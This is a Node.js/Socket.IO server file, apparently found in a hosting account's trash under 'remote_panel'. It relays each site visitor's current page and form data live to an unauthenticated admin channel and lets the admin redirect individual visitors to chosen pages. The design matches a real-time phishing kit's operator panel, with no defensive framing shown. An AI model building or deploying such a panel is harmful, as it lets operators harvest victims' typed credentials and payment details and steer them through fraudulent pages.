/home2/mshostin/.trash/remote_panel/server.js
const express = require('express');
const path = require('path');
const http = require('http');
const { Server } = require('socket.io');

const app = express();
const server = http.createServer(app);
const io = new Server(server);

// Servir fichiers statiques
app.use(express.static(path.join(__dirname, 'public')));

// Liste des visiteurs
let visitors = {};

// Namespace visiteurs
const visitorNamespace = io.of('/visitors');
visitorNamespace.on('connection', (socket) => {
    console.log('Visiteur connecté :', socket.id);

    // Ajouter le visiteur avec page par défaut
    visitors[socket.id] = { page: 'index.html', formData: {} };

    // Envoyer la liste aux admins
    adminNamespace.emit('visitorList', visitors);

    // Recevoir mise à jour de la page/formulaire
    socket.on('updateInfo', (data) => {
        visitors[socket.id] = { ...visitors[socket.id], ...data };
        adminNamespace.emit('visitorList', visitors);
    });

    // Déconnexion
    socket.on('disconnect', () => {
        delete visitors[socket.id];
        adminNamespace.emit('visitorList', visitors);
    });
});

// Namespace admin
const adminNamespace = io.of('/remote_app');
adminNamespace.on('connection', (socket) => {
    console.log('Admin connecté :', socket.id);

    // Envoyer la liste initiale
    socket.emit('visitorList', visitors);

    // Redirection individuelle
    socket.on('redirectVisitor', ({ id, page }) => {
        const visitorSocket = visitorNamespace.sockets.get(id);
        if (visitorSocket) {
            visitorSocket.emit('redirect', page);
        }
    });
});

// Écouter le port Passenger
const PORT = process.env.PORT || 3000;
server.listen(PORT, () => console.log('Server running on port', PORT));